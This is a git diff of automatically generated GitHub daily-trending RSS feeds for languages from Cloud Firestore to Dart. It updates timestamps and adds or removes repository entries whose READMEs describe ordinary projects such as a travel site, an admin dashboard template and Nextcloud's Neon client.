GitHub Cloud Firestore Security Rules Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:08Z
+ 2024-01-04T01:27:36ZDaily Trending of Cloud Firestore Security Rules in GitHub
\ No newline at end of file
diff --git a/cmake/daily/index.xml b/cmake/daily/index.xml
index 1d5162d5dd2..f528ce5593e 100644
--- a/cmake/daily/index.xml
+++ b/cmake/daily/index.xml
@@ -1,21 +1,7 @@
GitHub CMake Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:11Z
+ 2024-01-04T01:27:41ZDaily Trending of CMake in GitHub
-
- iggy-rs/iggy-cpp-client
- 2024-01-03T01:27:11Z
- tag:github.com,2024-01-03:/iggy-rs/iggy-cpp-client
-
- <p>Lightweight C++ client for Iggy.rs</p><hr>
-
-
- sisaha9/grpc_vendor
- 2024-01-03T01:27:11Z
- tag:github.com,2024-01-03:/sisaha9/grpc_vendor
-
- <p></p><hr>
-
\ No newline at end of file
diff --git a/cobol/daily/index.xml b/cobol/daily/index.xml
index 4d0803c1d9d..3b7892d138f 100644
--- a/cobol/daily/index.xml
+++ b/cobol/daily/index.xml
@@ -1,7 +1,7 @@
GitHub COBOL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:14Z
+ 2024-01-04T01:27:43ZDaily Trending of COBOL in GitHub
\ No newline at end of file
diff --git a/codeowners/daily/index.xml b/codeowners/daily/index.xml
index b821857357c..63480ded193 100644
--- a/codeowners/daily/index.xml
+++ b/codeowners/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CODEOWNERS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:14Z
+ 2024-01-04T01:27:42ZDaily Trending of CODEOWNERS in GitHub
\ No newline at end of file
diff --git a/codeql/daily/index.xml b/codeql/daily/index.xml
index 62580b29df2..4433b12d656 100644
--- a/codeql/daily/index.xml
+++ b/codeql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CodeQL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:16Z
+ 2024-01-04T01:27:43ZDaily Trending of CodeQL in GitHub
\ No newline at end of file
diff --git a/coffeescript/daily/index.xml b/coffeescript/daily/index.xml
index ca764455ac7..6c6734f460d 100644
--- a/coffeescript/daily/index.xml
+++ b/coffeescript/daily/index.xml
@@ -1,21 +1,7 @@
GitHub CoffeeScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:15Z
+ 2024-01-04T01:27:45ZDaily Trending of CoffeeScript in GitHub
-
- vojtajina/node-di
- 2024-01-03T01:27:15Z
- tag:github.com,2024-01-03:/vojtajina/node-di
-
- <p>Dependency Injection framework for Node.js</p><hr>
-
-
- atom/tabs
- 2024-01-03T01:27:15Z
- tag:github.com,2024-01-03:/atom/tabs
-
- <p>Tabs in Atom</p><hr>
-
\ No newline at end of file
diff --git a/coldfusion-cfc/daily/index.xml b/coldfusion-cfc/daily/index.xml
index 1cbcabdd42a..46b9c9f693a 100644
--- a/coldfusion-cfc/daily/index.xml
+++ b/coldfusion-cfc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ColdFusion CFC Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:19Z
+ 2024-01-04T01:27:46ZDaily Trending of ColdFusion CFC in GitHub
\ No newline at end of file
diff --git a/coldfusion/daily/index.xml b/coldfusion/daily/index.xml
index 1e95f47b1d1..b59bca4cecd 100644
--- a/coldfusion/daily/index.xml
+++ b/coldfusion/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ColdFusion Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:17Z
+ 2024-01-04T01:27:47ZDaily Trending of ColdFusion in GitHub
\ No newline at end of file
diff --git a/collada/daily/index.xml b/collada/daily/index.xml
index 714cc20ae10..5271a226940 100644
--- a/collada/daily/index.xml
+++ b/collada/daily/index.xml
@@ -1,7 +1,7 @@
GitHub COLLADA Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:18Z
+ 2024-01-04T01:27:48ZDaily Trending of COLLADA in GitHub
\ No newline at end of file
diff --git a/common-lisp/daily/index.xml b/common-lisp/daily/index.xml
index f3d3c1e1767..d4d308cd9a1 100644
--- a/common-lisp/daily/index.xml
+++ b/common-lisp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Common Lisp Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:20Z
+ 2024-01-04T01:27:48ZDaily Trending of Common Lisp in GitHub
\ No newline at end of file
diff --git a/common-workflow-language/daily/index.xml b/common-workflow-language/daily/index.xml
index 1eac8ccccad..0fe56e242af 100644
--- a/common-workflow-language/daily/index.xml
+++ b/common-workflow-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Common Workflow Language Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:23Z
+ 2024-01-04T01:27:52ZDaily Trending of Common Workflow Language in GitHub
\ No newline at end of file
diff --git a/component-pascal/daily/index.xml b/component-pascal/daily/index.xml
index 75b6c3b16b4..26d7fb90144 100644
--- a/component-pascal/daily/index.xml
+++ b/component-pascal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Component Pascal Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:23Z
+ 2024-01-04T01:27:50ZDaily Trending of Component Pascal in GitHub
\ No newline at end of file
diff --git a/conll-u/daily/index.xml b/conll-u/daily/index.xml
index 644a9bbb46f..d7a787f0475 100644
--- a/conll-u/daily/index.xml
+++ b/conll-u/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CoNLL-U Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:24Z
+ 2024-01-04T01:27:50ZDaily Trending of CoNLL-U in GitHub
\ No newline at end of file
diff --git a/cool/daily/index.xml b/cool/daily/index.xml
index ba3471bbfdb..ef0d4d63477 100644
--- a/cool/daily/index.xml
+++ b/cool/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cool Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:25Z
+ 2024-01-04T01:27:51ZDaily Trending of Cool in GitHub
\ No newline at end of file
diff --git a/coq/daily/index.xml b/coq/daily/index.xml
index 3bf386b2153..4f6c6b66f43 100644
--- a/coq/daily/index.xml
+++ b/coq/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Coq Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:26Z
+ 2024-01-04T01:27:54ZDaily Trending of Coq in GitHub
\ No newline at end of file
diff --git a/cpp-objdump/daily/index.xml b/cpp-objdump/daily/index.xml
index 6d6c42ba776..543e2f7d101 100644
--- a/cpp-objdump/daily/index.xml
+++ b/cpp-objdump/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cpp-ObjDump Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:27Z
+ 2024-01-04T01:27:56ZDaily Trending of Cpp-ObjDump in GitHub
\ No newline at end of file
diff --git a/creole/daily/index.xml b/creole/daily/index.xml
index b16867849df..5c407e538a0 100644
--- a/creole/daily/index.xml
+++ b/creole/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Creole Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:27Z
+ 2024-01-04T01:27:53ZDaily Trending of Creole in GitHub
\ No newline at end of file
diff --git a/crystal/daily/index.xml b/crystal/daily/index.xml
index bd83af52cd4..e8a57cdcbcd 100644
--- a/crystal/daily/index.xml
+++ b/crystal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Crystal Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:28Z
+ 2024-01-04T01:27:55ZDaily Trending of Crystal in GitHub
\ No newline at end of file
diff --git a/cson/daily/index.xml b/cson/daily/index.xml
index 205a5137cd9..e149256b81e 100644
--- a/cson/daily/index.xml
+++ b/cson/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CSON Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:30Z
+ 2024-01-04T01:27:58ZDaily Trending of CSON in GitHub
\ No newline at end of file
diff --git a/csound-document/daily/index.xml b/csound-document/daily/index.xml
index c3d77a43fea..7f3228f3f5e 100644
--- a/csound-document/daily/index.xml
+++ b/csound-document/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Csound Document Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:31Z
+ 2024-01-04T01:27:57ZDaily Trending of Csound Document in GitHub
\ No newline at end of file
diff --git a/csound-score/daily/index.xml b/csound-score/daily/index.xml
index 81a3ad30403..b6fe91a4996 100644
--- a/csound-score/daily/index.xml
+++ b/csound-score/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Csound Score Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:32Z
+ 2024-01-04T01:27:57ZDaily Trending of Csound Score in GitHub
\ No newline at end of file
diff --git a/csound/daily/index.xml b/csound/daily/index.xml
index a9f8bdbb18e..f68f2780482 100644
--- a/csound/daily/index.xml
+++ b/csound/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Csound Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:30Z
+ 2024-01-04T01:27:59ZDaily Trending of Csound in GitHub
\ No newline at end of file
diff --git a/css/daily/index.xml b/css/daily/index.xml
index c4898f75653..299f434607b 100644
--- a/css/daily/index.xml
+++ b/css/daily/index.xml
@@ -1,21 +1,21 @@
GitHub CSS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:38Z
+ 2024-01-04T01:28:05ZDaily Trending of CSS in GitHub
- jaysomani/firstspot
- 2024-01-03T01:27:38Z
- tag:github.com,2024-01-03:/jaysomani/firstspot
-
- <p>FirstSpot an heven for travellers who love to travel all around the world</p><hr><h1>FirstSpot (Heven for Travellers)</h1>
<p>PROJECT DESCRIPTION AND OUTLINE</p>
<p>=> <b> Introduction <br></b> Our website named, First spot is designed for the same, tourists can now explore new destinations where a guide will always be there to help you explore new paths and you can create your own paths as well. Planning a multi-city trip that not only helps you relax but also stirs in an extra element of excitement since you get to explore new destinations on the go.</p>
<p><img src="https://user-images.githubusercontent.com/69755312/194810054-c785c9b6-4dea-46b8-86e6-c19b090de964.png" alt="image"></p>
<p>=> <b>About Introduction and Techniques </b> <br> โข Search with filters- A search filter is a specific attribute a tourist can use to refine the search results. Customers are not always sure of what they want for which we are providing this feature where you can choose your tourist guide with filters where you can sort them as per your preferences such as by user ratings, alphabetical order and as per your budget.<br></p>
<p>โข <u>Login/Sign up</u>- Clicking โSign Upโ button must invoke a Sign Up form. Sign Up form consists of two registration options that must be toggled by using tabs. Tourist Sign-Up option must be selectable for registration of a tourist user profile. Tourist Guide Sign-Up option must be selectable for registration of a Tourist Guide user profile.<br></p>
<p>โข Feeling lucky- Feeling lucky is an additional features that keeps our users thinking about, what spot to go next. It gives them some most random location to pack their bags and go on for an adventurous journey.<br></p>
<p>โข Explore- Explore is the unique feature of our website which help visitors to create their own route apart from the premade routes in this feature visitor will be able to create their own route to their destination and if visitor need an suggestion to Explore they can also contact the verified guide and with their guidance can create their safe and happy journey <br></p>
<p>โข Predefined routes- Pre-defined routes are the routes that are already defined by our guides, so you don't have to go through the hustle of creating your own route and spending hours in managing the timings.<br></p>
<p>โข Help from Tourist guides- You can choose your own tourist guide who can help you create the most convenient routes for better exploring. They will always be available in chat to solve your queries regarding any paths or destination<br><br></p>
<p>=> <b>Objective of the Work</b><br> The Primary Aim of our website to make it easy for the tourists to Explore, manage plans and contact with popular tourists guide to make their trip easy, convenient and safe.<br></p>
<h2>โญ How to get started with open source?</h2>
<img src="https://github.com/Vi1234sh12/Face-X/raw/master/.github/Assests/isometric.png" height="290px" align="right">
<p>You can refer to the following articles on the basics of Git and Github.</p>
<ul>
<li><a href="https://youtu.be/SYtPC9tHYyQ">Watch this video to get started, if you have no clue about open source</a></li>
<li><a href="https://help.github.com/en/github/getting-started-with-github/fork-a-repo">Forking a Repo</a></li>
<li><a href="https://help.github.com/en/desktop/contributing-to-projects/creating-a-pull-request">Cloning a Repo</a></li>
<li><a href="https://opensource.com/article/19/7/create-pull-request-github">How to create a Pull Request</a></li>
<li><a href="https://towardsdatascience.com/getting-started-with-git-and-github-6fcd0f2d4ac6">Getting started with Git and GitHub</a></li>
</ul>
<h2>Contributing ๐จโ๐ป</h2>
<h3>๐ฅ How to contribute</h3>
<ul>
<li>Take a look at the existing <a href="https://github.com/jaysomani/firstspot/issues">Issues</a> or <a href="https://github.com/jaysomani/firstspot/issues/new/choose">create a new issue</a>!</li>
<li><a href="https://github.com/jaysomani/firstspot/fork">Fork the Repo</a>. Then, create a branch for any issue that you are working on. Finally, commit your work.</li>
<li>Create a <strong><a href="https://github.com/jaysomani/firstspot/compare">Pull Request</a></strong> (<em>PR</em>), which will be promptly reviewed and given suggestions for improvements by the community.</li>
<li>Add screenshots or screen captures to your Pull Request to help us understand the effects of the changes proposed in your PR.</li>
<li><strong>DON'T CREATE PRs WITHOUT CREATING ISSUE AND GETTING ASSIGNED</strong></li>
</ul>
<h3>โญ How to make a pull request (PR)</h3>
<p><strong>1.</strong> Start by making a Fork of the <a href="https://github.com/jaysomani/firstspot/fork"><strong>firstspot</strong></a> repository. Click on the <a href="https://github.com/jaysomani/firstspot/fork"><img src="https://i.imgur.com/G4z1kEe.png" height="21" width="21"></a>Fork symbol at the top right corner.</p>
<p><strong>2.</strong> Clone your new fork of the repository in the terminal/CLI on your computer with the following command:</p>
<pre><code class="language-bash">git clone https://github.com/<your-github-username>/firstspot
</code></pre>
<p><strong>3.</strong> Navigate to the newly created firstspot project directory:</p>
<pre><code class="language-bash">cd firstspot
</code></pre>
<p><strong>4.</strong> Set upstream command:</p>
<pre><code class="language-bash">git remote add upstream https://github.com/jaysomani/firstspot
</code></pre>
<p><strong>5.</strong> Create a new branch:</p>
<pre><code class="language-bash">git checkout -b YourBranchName
</code></pre>
<p><strong>6.</strong> Sync your fork or your local repository with the origin repository:</p>
<ul>
<li>In your forked repository, click on "Fetch upstream"</li>
<li>Click "Fetch and merge"</li>
</ul>
<p><strong>7.</strong> Make your changes to the source code.</p>
<p><strong>8.</strong> Stage your changes and commit:</p>
<p>โ ๏ธ <strong>Make sure</strong> not to run the commands <code>git add .</code> or <code>git add *</code>. Instead, stage your changes for each file/folder</p>
<pre><code class="language-bash">git add public
</code></pre>
<pre><code class="language-bash">git commit -m "<your_commit_message>"
</code></pre>
<p><strong>9.</strong> Push your local commits to the remote repository:</p>
<pre><code class="language-bash">git push origin YourBranchName
</code></pre>
<p><strong>10.</strong> Create a <a href="https://help.github.com/en/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request">Pull Request</a>!</p>
<p><strong>11.</strong> <strong>Congratulations!</strong> You've made your first contribution to <a href="https://github.com/jaysomani/firstspot/graphs/contributors"><strong>firstspot</strong></a>! ๐๐ผ</p>
+ sheryislive/sundown
+ 2024-01-04T01:28:05Z
+ tag:github.com,2024-01-04:/sheryislive/sundown
+
+ <p></p><hr>
- JAYESHBATRA/Virtuo-Learn
- 2024-01-03T01:27:38Z
- tag:github.com,2024-01-03:/JAYESHBATRA/Virtuo-Learn
-
- <p>Virtuo Learn is a platform that provides immersive learning experiences like never before. It offers simulations, 3D visualizations, customized quizzes, doubt engine, and videos, all in one place.</p><hr><img width="952" alt="6" src="https://user-images.githubusercontent.com/112322302/234294672-145c9272-6ff9-490a-b6a8-a70de0432f79.png">
<p>Virtuo Learn</p>
<p>Virtuo Learn is a platform that provides immersive learning experiences like never before. It offers simulations, 3D visualizations, customized quizzes, doubt engine, and videos, all in one place.</p>
<h2>๐ Links</h2>
<p><a href="https://www.linkedin.com/in/jayesh-batra-in/"><img src="https://img.shields.io/badge/linkedin-0A66C2?style=for-the-badge&logo=linkedin&logoColor=white" alt="linkedin"></a></p>
<h2>Authors</h2>
<ul>
<li><a href="https://github.com/JAYESHBATRA">@JayeshBatra</a></li>
</ul>
<h2>Demo</h2>
<p>Vercel: <a href="https://virtuo-learn.vercel.app">https://virtuo-learn.vercel.app</a></p>
<h2>Features</h2>
<ul>
<li>Simulations</li>
<li>3D Visualizations</li>
<li>Quizes with personalized recommendations</li>
<li>Videos</li>
<li>Doubt Engine</li>
</ul>
<h2>Tech Stack</h2>
<p><strong>Client:</strong> HTML, CSS, JavaScipt, THREE.JS, Matter.JS, P5.JS</p>
<h2>Screen Shots</h2>
<img width="944" alt="1" src="https://user-images.githubusercontent.com/112322302/234294808-0675c059-6f5d-4472-9ac8-ee94c6239f8d.png">
<img width="947" alt="5" src="https://user-images.githubusercontent.com/112322302/234294815-0906d9e1-0703-4a9a-b85e-652a113796d5.png">
<img width="950" alt="4" src="https://user-images.githubusercontent.com/112322302/234294819-fadb60b1-a7d6-4032-a0e5-a28fed1a7d03.png">
<img width="951" alt="3" src="https://user-images.githubusercontent.com/112322302/234294824-95a1b419-507a-41c5-acb9-5c0002bcde23.png">
<img width="947" alt="2" src="https://user-images.githubusercontent.com/112322302/234294834-e6c57c51-4620-4043-b144-0c6ea4e691bd.png">
<h2>Feedback</h2>
<p>If you have any feedback, please reach out to us at <a href="mailto:jayeshbatra1@gmail.com">jayeshbatra1@gmail.com</a></p>
+ BootstrapDash/star-admin2-free-admin-template
+ 2024-01-04T01:28:05Z
+ tag:github.com,2024-01-04:/BootstrapDash/star-admin2-free-admin-template
+
+ <p>Star-Admin-2- Free-Bootstrap-Admin-Template</p><hr><h1>Star Admin2 Free Bootstrap Admin Template</h1> Star Admin 2 Free is an open-source, admin dashboard template built with
<a href="https://getbootstrap.com/" target="_blank">Bootstrap 5</a> created by
<a href="https://www.bootstrapdash.com/" target="_blank">BootstrapDash</a>.
<h2>Preview</h2>
<a href="https://www.bootstrapdash.com/demo/star-admin2-free/template/" target="_blank"><img src="https://raw.githubusercontent.com/BootstrapDash/star-admin2-free-admin-template/main/screenshot.jpg"></a>
<h2>Download and installation</h2>
<p>1 - Install node package. If you donโt know the installation steps, please click <a href="https://nodejs.org/en/">here</a>.</p>
<p>2 - Click the Clone or Download button in GitHub and download as a ZIP file or you can enter the command git clone <a href="https://github.com/BootstrapDash/star-admin2-free-admin-template.git">https://github.com/BootstrapDash/star-admin2-free-admin-template.git</a> in your terminal to get a copy of this template.</p>
<p>3 - After the files have been downloaded you will get a folder with all the required files</p>
<p>4 - Open your terminal (Run as Administrator). You can install all the dependencies in the template by running the command npm install. All the required files are in the node modules. If you didn't run with admin authorities, you can see errors.</p>
<p>5 - Find the file named index.html, check what all components you need. Open the file in a text editor and you can start editing.</p>
<p>6 - Now that your project has now kick-started, all you need to do now is to code, code, and code to your heart's content.</p>
<p>Star Admin 2 Free is a free admin dashboard template built with Bootstrap 5. We took the original Star Admin Pro and gave it a design overhaul along with newly written code to create our best template yet. This is a modern-looking dashboard with a clean and elegant design. The template is well crafted, with all the components neatly and carefully designed and arranged within the template. Star Admin 2 Free comes with a clean and well-commented code that makes it easy to work with the template. Thus making it an ideal pick for jump-starting your project.</p>
<h2>Browser Support:</h2>
<p>Star Admin 2 Free is designed to work flawlessly with all the latest and modern web browsers.</p>
<h2>License Information:</h2>
<p>Star Admin 2 Free is released under MIT license. This is a free Bootstrap 5 admin template developed from BootstrapDash. Feel free to download, use, share, and get creative with it.</p>
<h2>How to Contribute?:</h2>
<p>We love your contributions and we welcome them wholeheartedly. We believe the more the merrier. To contribute make sure you have Node.js and npm installed. Now run the command gulp --version. If the command returns with the Gulp version number, it means you have Gulp installed. If not you need to run the command npm install --global gulp-cli to install Gulp.</p>
<p>After Gulp has been installed, follow the steps below to contribute. <br> 1 - Fork and clone the repo of Star Admin 2 Free <br> 2 - Run the command npm install to install all the dependencies. <br> 3 - Enter the command gulp serve. This will open Star Admin 2 Free in your default browser. <br> 4 - Make your valuable contribution <br> 5 - Submit a pull request</p>
<hr> Do you need a template with more features and functionalities? Check out the premium version of Star Admin 2! Visit
<a href="https://www.bootstrapdash.com" target="_blank">https://www.bootstrapdash.com</a> for more admin templates.
\ No newline at end of file
diff --git a/csv/daily/index.xml b/csv/daily/index.xml
index 25dd4715457..54417520fad 100644
--- a/csv/daily/index.xml
+++ b/csv/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CSV Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:34Z
+ 2024-01-04T01:28:00ZDaily Trending of CSV in GitHub
\ No newline at end of file
diff --git a/cuda/daily/index.xml b/cuda/daily/index.xml
index c66c97a218b..54e7d75d412 100644
--- a/cuda/daily/index.xml
+++ b/cuda/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cuda Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:35Z
+ 2024-01-04T01:28:01ZDaily Trending of Cuda in GitHub
\ No newline at end of file
diff --git a/cue/daily/index.xml b/cue/daily/index.xml
index 617bf1022a0..e62fdc733a8 100644
--- a/cue/daily/index.xml
+++ b/cue/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CUE Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:33Z
+ 2024-01-04T01:28:02ZDaily Trending of CUE in GitHub
\ No newline at end of file
diff --git a/curl-config/daily/index.xml b/curl-config/daily/index.xml
index 43562dcff82..db9e272b10e 100644
--- a/curl-config/daily/index.xml
+++ b/curl-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub cURL Config Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:45Z
+ 2024-01-04T01:28:11ZDaily Trending of cURL Config in GitHub
\ No newline at end of file
diff --git a/curry/daily/index.xml b/curry/daily/index.xml
index e65aa99f17c..992c7488abc 100644
--- a/curry/daily/index.xml
+++ b/curry/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Curry Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:47Z
+ 2024-01-04T01:28:12ZDaily Trending of Curry in GitHub
\ No newline at end of file
diff --git a/cweb/daily/index.xml b/cweb/daily/index.xml
index 65ed74ef74a..284cf062aab 100644
--- a/cweb/daily/index.xml
+++ b/cweb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CWeb Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:46Z
+ 2024-01-04T01:28:11ZDaily Trending of CWeb in GitHub
\ No newline at end of file
diff --git a/cycript/daily/index.xml b/cycript/daily/index.xml
index 941c683d8db..85b1f76a147 100644
--- a/cycript/daily/index.xml
+++ b/cycript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cycript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:49Z
+ 2024-01-04T01:28:13ZDaily Trending of Cycript in GitHub
\ No newline at end of file
diff --git a/cython/daily/index.xml b/cython/daily/index.xml
index d1f3d901f9c..72203897b9b 100644
--- a/cython/daily/index.xml
+++ b/cython/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cython Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:51Z
+ 2024-01-04T01:28:14ZDaily Trending of Cython in GitHub
\ No newline at end of file
diff --git a/d-objdump/daily/index.xml b/d-objdump/daily/index.xml
index dd53cdbf00b..41d6f58e88f 100644
--- a/d-objdump/daily/index.xml
+++ b/d-objdump/daily/index.xml
@@ -1,7 +1,7 @@
GitHub D-ObjDump Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:52Z
+ 2024-01-04T01:28:20ZDaily Trending of D-ObjDump in GitHub
\ No newline at end of file
diff --git a/d/daily/index.xml b/d/daily/index.xml
index 824f9d9e10f..6391ab9dd5e 100644
--- a/d/daily/index.xml
+++ b/d/daily/index.xml
@@ -1,7 +1,7 @@
GitHub D Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:50Z
+ 2024-01-04T01:28:16ZDaily Trending of D in GitHub
\ No newline at end of file
diff --git a/dafny/daily/index.xml b/dafny/daily/index.xml
index a52affa7d5b..cb717c80ce6 100644
--- a/dafny/daily/index.xml
+++ b/dafny/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Dafny Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:53Z
+ 2024-01-04T01:28:19ZDaily Trending of Dafny in GitHub
\ No newline at end of file
diff --git a/darcs-patch/daily/index.xml b/darcs-patch/daily/index.xml
index a4d09348da9..61b0e7c1e2a 100644
--- a/darcs-patch/daily/index.xml
+++ b/darcs-patch/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Darcs Patch Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:53Z
+ 2024-01-04T01:28:18ZDaily Trending of Darcs Patch in GitHub
\ No newline at end of file
diff --git a/dart/daily/index.xml b/dart/daily/index.xml
index 63c62c97fed..53e056d9423 100644
--- a/dart/daily/index.xml
+++ b/dart/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Dart Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:59Z
+ 2024-01-04T01:28:26ZDaily Trending of Dart in GitHub
-
- nextcloud/neon
- 2024-01-03T01:27:59Z
- tag:github.com,2024-01-03:/nextcloud/neon
-
- <p>A framework for building convergent cross-platform Nextcloud clients using Flutter.</p><hr><h1>Neon</h1>
<img src="https://raw.githubusercontent.com/nextcloud/neon/main/assets/logo.svg?sanitize=true" alt="Neon logo" width="200">
<p>A framework for building convergent cross-platform Nextcloud clients using Flutter.</p>
<h2>The goals of Neon</h2>
<p>The Neon project has three main goals:</p>
<ol>
<li>The <a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/neon_framework">Neon framework</a> does the heavy lifting for Nextcloud client developers. Neon already handles the authentication flow and manages data requests and caching. This means that developers can reuse a lot of the code and do not need to reinvent the wheel.</li>
<li>The <a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/app">Neon app</a> is a cross-platform Nextcloud client that runs on iOS, Android, macOS, Windows, Linux and Web. We already support Android and Linux with the other platforms being work in progress.</li>
<li>The <a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/app">Neon app</a> is a multi client app. This means that you can have multiple clients in the same mobile app. It enables seamless switching between multiple apps as Nextcloud users have enjoyed on the web forever.</li>
</ol>
<h3>Current problems with other clients</h3>
<ul>
<li>There are many clients that are designed to run exclusively on a single platform or device type. They all have different code bases, which makes feature parity and maintenance much more difficult.</li>
<li>The user experience and features differ significantly from platform to platform, which leads to frustration. This particularly affects mobile devices running Linux (e.g. postmarketOS). There is no suitable client on this platform at all. Using the desktop Linux client for file synchronization would probably work, but it still lacks almost all the features available on e.g. Android and the client is not converging to the needs of a mobile screens.</li>
<li>Even on feature-rich platforms, features are spread across multiple apps, making it more complicated for the user who simply wants to get the most out of their Nextcloud server on their device.</li>
</ul>
<h3>How Neon as a framework tries to solve them</h3>
<p>The Neon project uses <a href="https://dart.dev/">Dart</a> and <a href="https://flutter.dev/">Flutter</a> to help mobile client developers building apps. Flutter allows us to build convergent cross-platform clients that feel native. We are a 100% FOSS framework and do not rely on any proprietary libraries making it easy for developers to publish their apps in places like the <a href="https://f-droid.org/">F-Droid</a> store. We provide a generated <a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/nextcloud">Nextcloud Dart client</a> that is generated from the new OpenAPI specifications shipped with Nextcloud and is already being used by other Dart and Flutter projects. Gone are the days of looking at the PHP code and implementing an API client by hand which can be time-consuming and very error-prone.</p>
<p>We provide abstractions, common utilities and prebuilt UI components (called Widgets in Flutter) that can be re-used. This allows Neon to make developing a new Nextcloud client as easy as adding a few custom UI elements and the necessary state management, while everything else is already taken care of for you.</p>
<h2>Contributing</h2>
<p>We encourage every client developer to contribute their app implementation back into Neon. This way the app developers can choose from a large set of clients to enable. Check out our <a href="https://raw.githubusercontent.com/nextcloud/neon/main/CONTRIBUTING.md">contributing docs</a> to get started with developing with Neon.</p>
<p>We have a lot of <a href="https://raw.githubusercontent.com/nextcloud/neon/main/docs">documentation</a> from helping you set up your development environment to our guidelines. Please make sure to read them before starting to contribute.</p>
<h2>Development and support</h2>
<p>We have a Matrix space where you can ask questions: <a href="https://matrix.to/#/#nextcloud-neon:matrix.org">https://matrix.to/#/#nextcloud-neon:matrix.org</a></p>
<h2>Features</h2>
<p>See <a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/app/README.md">here</a> for screenshots.</p>
<ul>
<li><span>โ</span> Supported</li>
<li><span>๐ง</span> Work in progress</li>
<li><span>๐</span> Planned</li>
</ul>
<table>
<thead>
<tr>
<th>App</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/neon/neon_dashboard">Dashboard</a></td>
<td><span>โ</span></td>
</tr>
<tr>
<td><a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/neon/neon_files">Files</a></td>
<td><span>โ</span></td>
</tr>
<tr>
<td><a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/neon/neon_news">News</a></td>
<td><span>โ</span></td>
</tr>
<tr>
<td><a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/neon/neon_notes">Notes</a></td>
